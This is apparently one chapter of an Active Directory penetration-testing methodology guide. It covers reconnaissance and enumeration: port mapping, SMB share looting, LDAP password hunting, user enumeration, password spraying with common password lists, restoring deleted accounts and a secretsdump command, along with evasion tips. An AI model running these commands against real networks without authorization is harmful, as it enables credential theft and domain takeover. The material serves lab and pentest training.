01 · Reconnaissance & Enumeration¶
Map the attack surface before touching anything. Every open port is a hypothesis about what the network runs and what attacks become possible.
Phase overview
Recon is not a checklist; it's a hypothesis-building exercise. Each open port, DNS record, and SMB share narrows down which attack chains are viable. The Port → Attack Surface map below tells you which phase to jump to once you know what's running. Skip this phase and you'll waste hours brute-forcing a domain that has anonymous LDAP enabled.
1.1 · Network Discovery¶
Why this works / how it chains
Goal: find live hosts and confirm you're looking at a Windows AD environment. Port 88 (Kerberos) is the giveaway, if it's open, you've found a Domain Controller and the entire AD attack surface unlocks. Run a fast TCP sweep first, then UDP top-100 separately because UDP scans are slow and you don't want to block on them.
netdiscover -r <IP>/24
nmap -sn <IP>/24
nmap -sC -sV -p- --min-rate 5000 -T4 -oA nmap/full <IP>
nmap -sU --top-ports 100 -oA nmap/udp <IP>
Leads to →
- For Example
- Port 88 open → Domain Controller confirmed → switch to AD attack mindset
- Port 8530/8531 open →
WSUSpresent → check Phase 10 (Fake WSUS) - Port 80/443 open → check /certsrv for ADCS web enrollment → Phase 5
- Port 1433 open →
MSSQL→ potential xp_cmdshell + SeImpersonate path → Phase 11/12
1.1b · Port → Attack Surface Map¶
Why this works / how it chains
Use this as a lookup table. After your nmap scan, every open port maps to a specific later phase. Memorize the high-value ones: 88, 389, 445, 5985.
Port 53 → DNS → zone transfer, domain enum, missing records = DNS spoofing
Port 88 → Kerberos → DC confirmed, AS-REP/Kerberoast, PKINIT
Port 135 → RPC → rpcclient enum
Port 139/445 → SMB → shares, relay, null session
Port 389/636 → LDAP → domain enum, description fields
Port 464 → Kpasswd → password change
Port 3268/3269 → GC → forest info, cross-forest enum
Port 5985/5986 → WinRM → shell if creds found, JEA endpoints
Port 3389 → RDP → GUI if creds
Port 80/443 → Web → ADCS /certsrv, IIS apps
Port 1433 → MSSQL → xp_cmdshell, linked servers, SeImpersonate
Port 8530 → WSUS HTTP → fake WSUS attack
Port 8531 → WSUS HTTPS → fake WSUS attack (needs CA-signed cert)
Thought process: for example
- Port 88 = DC confirmed → AD mindset.
- Port 8530/8531 = WSUS → check if DNS record exists.
- Port 80/443 = check /certsrv for ADCS.
- Port 1433 = MSSQL → check SeImpersonate after login.
1.2 · DNS Enumeration¶
Why this works / how it chains
DNS gives you the domain name (needed for every Kerberos request) and reveals subdomains/services that nmap won't show. Zone transfers are rare in production but free wins when they work. The big payoff: if a service hostname (like wsus.domain.local) has NO DNS record and you can write to AD-integrated DNS later, you can spoof that service : see Phase 10.
nslookup -type=any domain.local <IP>
dig @<IP> domain.local ANY
dig @<IP> domain.local AXFR # Zone transfer attempt
gobuster dns -d domain.local -r <IP> \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
nslookup <IP> <IP>
echo "<IP> domain.local dc01.domain.local" >> /etc/hosts
Leads to →
- Zone transfer works → full DNS map → all hostnames
- DC hostname found → add to /etc/hosts → Kerberos attacks now resolve correctly
- Missing DNS records → DNS spoofing opportunity (WSUS, SCCM, etc.)
- Multiple DCs / forests → cross-forest attack surface (Phase 8/19)
1.3 · SMB Enumeration¶
Why this works / how it chains
SMB is the most under-rated initial-access path. Two things to extract: signing status (signing:False = NTLM relay viable, see Phase 3.3) and share contents. Shares routinely contain GPP passwords, web.config files with DB connection strings, deployment scripts with hardcoded creds, and PowerShell history files. Always try null session and guest before assuming you need creds.
# For example use nxc (former crackmapexec)
nxc smb <IP>
# Returns: hostname, domain, OS, SMB signing status
nxc smb <IP> -u '' -p '' --shares
nxc smb <IP> -u 'guest' -p '' --shares
smbmap -H <IP> -u '' -p ''
smbclient //<IP>/sharename -N
smbclient //<IP>/sharename -N -c 'recurse ON; prompt OFF; mget *'
smbmap -H <IP> -u '' -p '' -R --depth 5
Leads to →
- config files → hardcoded credentials → Phase 4
- scripts (.ps1/.bat) → credentials, domain info
- web.config → DB connection strings → MSSQL access (Phase 11.4)
- ticket/incident HTML → attack hints (WSUS endpoints, hostnames)
- PSReadLine history → command history with credentials → Phase 7
- SMB signing disabled → NTLM relay viable → Phase 3.3 / Phase 23
1.4 · LDAP Enumeration¶
Why this works / how it chains
LDAP is the domain's internal phone book. The single most valuable attribute is description; admins routinely stash temporary passwords there and forget. Always check anonymous bind first; many environments allow it. Look for gMSA accounts (msDS-GroupManagedServiceAccount), they're often readable by groups you can reach (Phase 6). Group ownership matters more than membership: an owner has implicit WriteDACL.
# Anonymous bind check
ldapsearch -x -H ldap://<IP> -b "DC=domain,DC=local"
# All users + descriptions (CRITICAL - often has passwords)
ldapsearch -x -H ldap://<IP> -b "DC=domain,DC=local" \
"(objectClass=user)" sAMAccountName description
# gMSA accounts
ldapsearch -x -H ldap://<IP> -b "DC=domain,DC=local" \
"(objectClass=msDS-GroupManagedServiceAccount)" sAMAccountName
# With credentials
ldapsearch -x -H ldap://<IP> -b "DC=domain,DC=local" \
-D "user@domain.local" -w "pass" "(objectClass=user)"
windapsearch -m users --dc <IP> -d domain.local
windapsearch -m privileged-users --dc <IP> -d domain.local
# Admins stash passwords in description AND in other rarely-checked attributes:
# info, comment, adminDescription, adminDisplayName, extensionAttribute1-15, etc.
# Query all at once and grep for anything that looks like a password.
ldapsearch -x \
-H ldap://<DC_IP> \
-D 'domain\user' -w 'pass' \
-b 'dc=domain,dc=local' \
'(objectClass=user)' \
sAMAccountName description info comment adminDescription \
adminDisplayName extensionAttribute1 extensionAttribute2 \
| grep -v "^#\|^$\|^dn:\|^objectClass\|^ref"
# Or dump EVERYTHING per user and grep all fields at once
ldapsearch -x \
-H ldap://<DC_IP> \
-D 'domain\user' -w 'pass' \
-b 'dc=domain,dc=local' \
'(objectClass=user)' \
| grep -v "^#\|^$\|objectClass\|^ref" \
| grep -iP "(pass|pwd|cred|key|secret|token|secret|ironside|welcome)"
# With nxc dumps user info including description in a readable table
nxc ldap <DC_IP> -u user -p pass --users
Thought process
description is the classic find, but info is equally common and less often cleaned up. The Support HTB machine hid a cleartext password in the info attribute, querying all attributes at once with a credential grep catches this in seconds. extensionAttribute1-15 are AD's spare fields and are a common ad-hoc password store.
1.5 · RPC Enumeration¶
Why this works / how it chains
RPC null sessions still work surprisingly often, especially on legacy or misconfigured DCs. The crucial command is getdompwinfo; it returns the lockout threshold. You MUST run this before any password spraying or you'll lock out half the domain and get caught immediately.
rpcclient -U "" -N <IP>
> enumdomusers # full user list
> enumdomgroups # all groups
> getdompwinfo # lockout policy - CRITICAL before spraying
> querydispinfo # user details
> queryuser 0x1f4 # specific user by RID
> lsaenumsid # enumerate SIDs
1.6 · User Enumeration (No Creds)¶
Why this works / how it chains
Kerberos preauth leaks user existence, sending an AS-REQ for a non-existent user returns a different error than for a real one. kerbrute exploits this without ever attempting a login, so it's silent and doesn't lock accounts. The output (a list of valid usernames) becomes your input for ASREPRoasting and password spraying.
kerbrute userenum \
-d domain.local --dc <IP> \
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
-o valid_users.txt
nxc smb <IP> -u '' -p '' --rid-brute 10000
impacket-lookupsid domain.local/guest@<IP> -no-pass | grep SidTypeUser
ldapsearch -x -H ldap://<IP> -b "DC=domain,DC=local" \
"(objectClass=user)" sAMAccountName | grep sAMAccountName
RID cycling depth + one-liner user list
RID-cycling tools default to a RID ceiling of ~4000. Real domains put service/user accounts well above that (7000+, 10000+), so raise the cap or you'll miss them. The guest (or any null-auth) account is enough when SMB allows it. Pipe straight into a clean users list for spraying/roasting:
Leads to →
- Valid user list →
ASREPRoasting(Phase 3.1) - Valid user list →
Password spraying(Phase 3.2) - One AS-REP-roastable account in the list →
Kerberoast without creds(Phase 3.7)
1.7 · Kerberos Config (krb5.conf)¶
Why this works / how it chains
Every Kerberos-aware tool reads /etc/krb5.conf. Get this wrong and you'll see opaque 'KDC not found' or 'realm unknown' errors. The realm MUST be uppercase. For multi-forest engagements (Phase 8 / Phase 19), add every realm here so you can request cross-realm referrals without hand-passing -dc-ip everywhere.
# /etc/krb5.conf
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
DOMAIN.LOCAL = {
kdc = dc01.domain.local
admin_server = dc01.domain.local
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
EOF
# For multi-forest (PINGPONG style):
[realms]
PING.HTB = {
kdc = dc1.ping.htb
admin_server = dc1.ping.htb
}
PONG.HTB = {
kdc = dc2.pong.htb
admin_server = dc2.pong.htb
}
1.8 · High-Value Group Membership Enumeration¶
Why this works / how it chains
Knowing exactly which accounts are in privileged groups tells you who to target next. Remote Management Users → WinRM shell if you compromise that account. Backup Operators → SeBackupPrivilege → read NTDS.dit. Print Operators → SeLoadDriverPrivilege → driver load → SYSTEM. Domain Admins → game over if you own one. nxc LDAP lets you query any group by display name with creds in hand, far quicker than parsing raw ldapsearch output.
# Remote Management Users → any member = WinRM target
nxc ldap <DC_IP> -u user -p pass --groups "Remote Management Users"
# Domain Admins → direct DA targets
nxc ldap <DC_IP> -u user -p pass --groups "Domain Admins"
# Backup Operators → SeBackupPrivilege → NTDS.dit read
nxc ldap <DC_IP> -u user -p pass --groups "Backup Operators"
# Print Operators → SeLoadDriverPrivilege
nxc ldap <DC_IP> -u user -p pass --groups "Print Operators"
# Account Operators → can add users to non-protected groups
nxc ldap <DC_IP> -u user -p pass --groups "Account Operators"
# Server Operators → can start/stop services, log on locally to DCs
nxc ldap <DC_IP> -u user -p pass --groups "Server Operators"
# DnsAdmins → DLL injection via DNS service → SYSTEM on DC
nxc ldap <DC_IP> -u user -p pass --groups "DnsAdmins"
# Dump ALL groups and members in one pass
nxc ldap <DC_IP> -u user -p pass --groups
# See group membership directly per user, useful for spotting
# overlooked privilege: a service account quietly in Backup Operators, etc.
ldapsearch -x -H ldap://<DC_IP> \
-D 'user@domain.local' -w 'pass' \
-b 'DC=domain,DC=local' \
'(objectClass=user)' sAMAccountName memberOf description \
2>&1 | grep -E "sAMAccountName:|memberOf:|description:"
Leads to →
- Account in
Remote Management Users→ WinRM shell after compromise → Phase 4 - Account in
Backup Operators→SeBackupPrivilege→ NTDS.dit copy → Phase 12 - Account in
DnsAdmins→ DNS DLL injection → Phase 12 - Service account in
Remote Management Users→ target for kerberoasting + WinRM → Phase 3.3 / Phase 4
1.9 · Writable Object Enumeration (bloodyAD)¶
Why this works / how it chains
get writable maps every AD object your current account can write to, including DACL writes, property writes, and child-object creation. This is faster than parsing BloodHound for a single account and works over LDAP with NTLM or Kerberos, critical when LDAP signing is enforced and older tools fail. The two entries worth acting on immediately: CREATE_CHILD on an OU means you can add objects there; WRITE on another user or computer means ACL abuse (GenericWrite, WriteDACL, etc.).
bloodyad --host <DC_IP> -d domain.local -u 'user' -p 'pass' get writable
# CREATE_CHILD on an OU → you can create new objects (users, computers, dMSAs)
# WRITE on a user CN → GenericWrite → SPN write (kerberoast) or password reset
# WRITE on CN=Deleted Objects → AD Recycle Bin write → see §1.11
# CREATE_CHILD on DNS zone → spoof DNS records → NTLM relay / WSUS
bloodyad --host <DC_IP> -d domain.local -u 'newuser' -p 'pass' get writable
# Kerberos auth when NTLM is blocked
bloodyad --host <DC_IP> -d domain.local -u 'user' -p 'pass' -k get writable
Thought process
Run get writable immediately after compromising any new account; it's a 5-second LDAP query that replaces hours of manual ACL parsing. WRITE on any user CN is the most directly exploitable result: set an SPN and kerberoast, or force-reset the password if you have User-Force-Change-Password right.
Leads to →
WRITEon user → SPN write + kerberoast (Phase 3.3) or password reset (Phase 4.3)CREATE_CHILDon OU → add dMSA / computer objects → BadSuccessor (Phase 4)WRITEon CN=Deleted Objects → restore tombstoned accounts → §1.11CREATE_CHILDon DNS zone → DNS spoofing → NTLM relay (Phase 23)
1.10 · BloodHound Data Collection (bloodyAD as Fallback)¶
Why this works / how it chains
bloodhound-python and the SharpHound binary both fail or produce incomplete data when LDAP signing is enforced and channel binding is required (Server 2025 with the default hardened config). bloodyad get bloodhound speaks the same LDAP protocol path but handles signing and channel binding natively; it produces the same .zip that you drag into the BloodHound GUI.
bloodyad --host <DC_IP> -d domain.local -u 'user' -p 'pass' get bloodhound
# Output: <timestamp>_Bloodhound.zip → drag into BloodHound GUI
# With Kerberos (when NTLM relay is blocked)
export KRB5CCNAME=user.ccache
bloodyad --host dc01.domain.local -d domain.local -u 'user' -k get bloodhound
bloodhound-python -u user -p pass -d domain.local -ns <DC_IP> -c All
bloodhound-python -u user -p pass -d domain.local -ns <DC_IP> -c All --zip
# All users with their group memberships
nxc ldap <DC_IP> -u user -p pass --users
nxc ldap <DC_IP> -u user -p pass --groups
nxc ldap <DC_IP> -u user -p pass --computers
Thought process
After loading the BloodHound zip, the first queries to run: Shortest path to Domain Admins, Find all users with DCSync rights, Find computers where Domain Users can RDP. Then search the specific account you own and check Outbound Object Control that shows every ACL edge you can immediately exploit.
Leads to →
- Outbound control edges → ACL abuse chain → Phase 14 (bloodyAD reference)
GenericWriteover service account → kerberoast → Phase 3.3WriteDACL/Owns→ grant yourself DCSync → Phase 13
1.11 · AD Recycle Bin & Deleted Objects Enumeration¶
Why this works / how it chains
When get writable shows WRITE on CN=Deleted Objects, check what's in there. Deleted user accounts retain their original attributes, group memberships, descriptions, SPNs, and frequently still have their old password set. Restoring a tombstoned account and then password-spraying it with the same company-pattern password is a realistic low-noise escalation path. The key LDAP controls (1.2.840.113556.1.4.2064 + .2065) tell the server to include deleted and recycled objects in search results.
# Must return isRecycleBinEnabled: TRUE to restore, not just delete
bloodyad --host <DC_IP> -d domain.local -u 'user' -p 'pass' \
get object 'CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=domain,DC=local' \
--attr msDS-EnabledFeature
bloodyad -H <DC_IP> -d domain.local -u user -p 'pass' \
get search \
--base 'CN=Deleted Objects,DC=domain,DC=local' \
--filter '(objectClass=user)' \
--attr sAMAccountName,cn,description,lastKnownParent,msDS-LastKnownRDN \
-c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065
ldapsearch -x -H ldap://<DC_IP> \
-D 'user@domain.local' -w 'pass' \
-b 'CN=Deleted Objects,DC=domain,DC=local' \
-E '!1.2.840.113556.1.4.2064' \
'(objectClass=user)' \
sAMAccountName cn description lastKnownParent msDS-LastKnownRDN
bloodyad -H <DC_IP> -d domain.local -u user -p 'pass' \
set restore 'deleted.username'
# Verify it's back
bloodyad -H <DC_IP> -d domain.local -u user -p 'pass' \
get object 'deleted.username'
# Company naming pattern is common: Season+Year!
nxc smb <DC_IP> -u deleted.username -p 'Company2024!' --continue-on-success
nxc smb <DC_IP> -u deleted.username -p 'Welcome2024!' --continue-on-success
OPSEC
Restoring a deleted object writes to AD and generates event 4662 (object access) and 5136 (directory object modified). If stealth matters, enumerate the deleted object attributes first via get search before deciding whether to restore.
Leads to →
- Restored account has DevDrop/share write → malicious payload delivery → Phase 3
- Restored account reuses a password → new foothold → Phase 4
- Restored account was a service account with SPNs → kerberoast → Phase 3.3
1.12 · User List Extraction & Spray Preparation¶
Why this works / how it chains
Password spraying requires a clean users.txt. Raw nxc / ldapsearch output includes timestamps and column noise; piping through awk or grep extracts just the usernames. Always pull the domain password policy before spraying; one wrong attempt per account per lockout window is the rule. Violate the lockout threshold and you'll disable accounts across the domain.
# nxc --users output format: <tool> <IP> <port> <hostname> <username> <last-pw-set> <badpw> <desc>
nxc smb <DC_IP> -u user -p pass --users > raw_users.txt
# Extract column 5 (username): skip the header line
awk 'NR>4 { print $5 }' raw_users.txt > users.txt
# Alternatively: grep for valid user lines then cut field
grep '\[.\]' raw_users.txt | awk '{ print $5 }' > users.txt
ldapsearch -x -H ldap://<DC_IP> -D 'user@domain.local' -w 'pass' \
-b 'DC=domain,DC=local' '(objectClass=user)' sAMAccountName \
| grep sAMAccountName | awk '{print $2}' > users.txt
# Option 1: nxc
nxc smb <DC_IP> -u user -p pass --pass-pol
# Option 2: rpcclient
rpcclient -U "user%pass" <DC_IP> -c getdompwinfo
# Key fields: min password length, lockout threshold, lockout duration
# Option 3: ldapsearch
ldapsearch -x -H ldap://<DC_IP> -D 'user@domain.local' -w 'pass' \
-b 'DC=domain,DC=local' '(objectClass=domain)' \
lockoutThreshold lockoutDuration minPwdLength pwdHistoryLength
# --continue-on-success keeps going even after a hit (don't stop at first valid cred)
nxc smb <DC_IP> -u users.txt -p 'CompanyName2024!' --continue-on-success
# Spray multiple passwords, add delay between rounds to stay under lockout window
nxc smb <DC_IP> -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
# Spray over WinRM (finds accounts with WinRM access directly)
nxc winrm <DC_IP> -u users.txt -p 'CompanyName2024!'
# Spray over Kerberos (quieter, no NTLM logs on the DC)
kerbrute passwordspray -d domain.local --dc <DC_IP> users.txt 'CompanyName2024!'
# Seasonal: Summer2024!, Winter2024!, Spring2024!, Fall2024!
# Company name: Acme2024!, AcmeIT!, Acme@2024
# Welcome patterns: Welcome1, Welcome2024!, P@ssw0rd, Password1!
# HTB/lab common: <MachineName>2024!, <domain>2024!
Thought process
Spray one password per round, wait the lockout observation window (typically 30 min), then spray again. Never spray all passwords against all users in one shot that's guaranteed lockouts. If lockoutThreshold = 0, the domain has no lockout and you can spray freely, but log noise still matters.
Leads to →
- Valid creds found → Phase 4 (post-exploitation with creds)
(Pwn3d!)in nxc output → local admin on that host → Phase 4 / Phase 11- WinRM spray hit → immediate shell via
evil-winrm→ Phase 4
1.13 · Hardened DC Tooling Reference (Server 2025 / LDAP Signing + Channel Binding)¶
Why this matters
Windows Server 2025 ships with LDAP signing required (LDAPServerIntegrity = 2) and LDAPS channel binding enforced by default; a significant shift from older Windows Server versions. This breaks many commonly-used offensive tools that were written before these controls were the norm. Knowing which tool to reach for first avoids wasting time fighting the wrong wall.
Hardening indicators from nmap / nxc
nmap: smb2-security-mode → "Message signing enabled and required"
nxc smb: (signing:True)
nmap: clock-skew: 6h59m59s ← Kerberos clock skew is large; use faketime
signing:True on SMB AND LDAP signing is also required, NTLM relay to SMB and LDAP is blocked. Pivot to HTTP targets (ADCS ESC8) and use Kerberos-native tools.
Tool | LDAP signing OK? | Channel binding OK? | Notes
------------------------|-----------------|---------------------|------
bloodyAD | ✅ | ✅ | Best all-rounder; handles both natively
nxc ldap (--use-kcache) | ✅ | ✅ | Use with Kerberos ccache
nxc smb | ✅ | n/a | SMB still works for auth / enum
impacket (most tools) | ✅ | ⚠️ partial | Newer versions handle it; older ones choke on channel binding
bloodhound-python | ❌ | ❌ | Fails on channel-binding-enforced DCs; use bloodyAD get bloodhound
certipy | ❌ | ❌ | May fail; try -ldap-scheme ldaps -ns flags
PowerView | ❌ | ❌ | .NET LDAP library doesn't handle channel binding
ldapdomaindump | ❌ | ❌ | Old library; fails silently on strict DCs
evil-winrm (WinRM) | n/a | n/a | WinRM is unaffected; use freely
# Test LDAP signing/binding posture
nxc ldap <DC_IP> -u user -p pass # should succeed if creds good
bloodyad --host <DC_IP> -d domain.local -u user -p pass get object 'DC=domain,DC=local'
# If bloodyAD works but bloodhound-python fails → channel binding is enforced
bloodyad --host <DC_IP> -d domain.local -u user -p pass get bloodhound
# → produces the same .zip as bloodhound-python
# 1. Get a TGT (standard password auth to KDC)
impacket-getTGT domain.local/user:'pass' -dc-ip <DC_IP>
export KRB5CCNAME=user.ccache
# 2. Use Kerberos for everything from here
bloodyad --host dc01.domain.local -d domain.local -u user -k get writable
nxc ldap dc01.domain.local -k --use-kcache --groups "Domain Admins"
nxc ldap dc01.domain.local -k --use-kcache -M badsuccessor -o ACCOUNT=target
impacket-secretsdump -k -no-pass domain.local/administrator@dc01.domain.local
# 3. Large clock skew? Wrap with faketime
# nmap shows "clock-skew: 6h59m59s" → add +7h
faketime -f "+7h" bloodyad --host dc01.domain.local ...
faketime -f "+7h" impacket-getTGT ...
The rule of thumb
On a hardened Server 2025 DC: bloodyAD first, nxc-Kerberos second, everything else third. If bloodyAD and nxc-over-Kerberos both work, you have everything you need. Don't waste time trying to fix LDAP signing errors in older tools; reach for the ones that were built to handle it.
Leads to →
- Kerberos ccache in hand → all impacket tools work with
-k -no-pass - bloodyAD / nxc both working → full enumeration surface available despite hardening
- BadSuccessor check available via nxc → Phase 12.8 if Server 2025 confirmed